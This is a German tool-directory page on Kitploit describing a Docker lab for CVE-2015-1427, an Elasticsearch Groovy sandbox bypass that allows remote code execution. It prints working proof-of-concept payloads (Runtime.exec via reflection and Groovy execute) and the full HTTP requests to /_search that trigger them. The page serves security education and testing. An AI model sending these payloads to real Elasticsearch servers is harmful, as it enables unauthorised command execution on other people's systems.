Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Docker-basierte Lab-Umgebung für CVE-2015-1427 ElasticSearch Groovy Sandbox-Umgehung und Remote-Code-Ausführung, die zwei POC-Methoden mit Java-Reflection und Groovy-Befehlsausführung demonstriert. | Kitploit
Tools/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & Bildung
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Docker-basierte Lab-Umgebung für CVE-2015-1427 ElasticSearch Groovy Sandbox-Umgehung und Remote-Code-Ausführung, die zwei POC-Methoden mit Java-Reflection und Groovy-Befehlsausführung demonstriert.

Repository anzeigen
5vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ElasticSearch Groovy Sandbox-Umgehung && Code-Ausführungs-Schwachstelle (CVE-2015-1427) Testumgebung

JRE Version: openjdk:8-jre

Elasticsearch Version: v1.4.2

Prinzip

Referenzen:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

Nach CVE-2014-3120 änderte ElasticSearch die standardmäßige dynamische Skriptsprache auf Groovy und fügte eine Sandbox hinzu, unterstützt aber weiterhin standardmäßig die direkte Ausführung dynamischer Sprachen. Diese Schwachstelle: 1. ist eine Sandbox-Umgehung; 2. ist eine Groovy-Code-Ausführungs-Schwachstelle.

Groovy-Sprach-"Sandbox"

ElasticSearch unterstützt die Verwendung von Groovy in einer "Sandbox" als dynamisches Skript, aber die Arbeit der offiziellen Entwickler war offensichtlich nicht ausreichend. Lupin und Tang3 haben jeweils zwei Methoden zur Ausführung von Befehlen vorgeschlagen:

  1. Da es eine Sandbox für die Ausführung von Java-Code gibt, versucht Lupin, diese Sandbox zu umgehen, z. B. durch die Verwendung von Java-Reflection.
  • Da Groovy selbst eine Programmiersprache ist, ging Tang3 einen anderen Weg und nutzte von Groovy unterstützte Methoden, um Befehle direkt auszuführen, ohne Java zu verwenden.
  • Daher können wir basierend auf diesen beiden Ansätzen zwei verschiedene PoCs erhalten.

    Java-Sandbox-Umgehung:

    root@kitploit:~
    java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
    

    Groovy-Direktausführung:

    root@kitploit:~
    def command='id';def res=command.execute().text;res
    

    Schwachstellentest

    Build und Ausführung der Testumgebung:

    root@kitploit:~
    docker-compose build
    docker-compose up -d
    

    Da für die Abfrage mindestens ein Dateneintrag im ES vorhanden sein muss, senden Sie das folgende Paket, um einen Eintrag hinzuzufügen:

    root@kitploit:~
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "test"
    }
    

    Senden Sie dann ein Paket mit dem Payload, um beliebige Befehle auszuführen:

    root@kitploit:~
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
    

    Tool herunterladen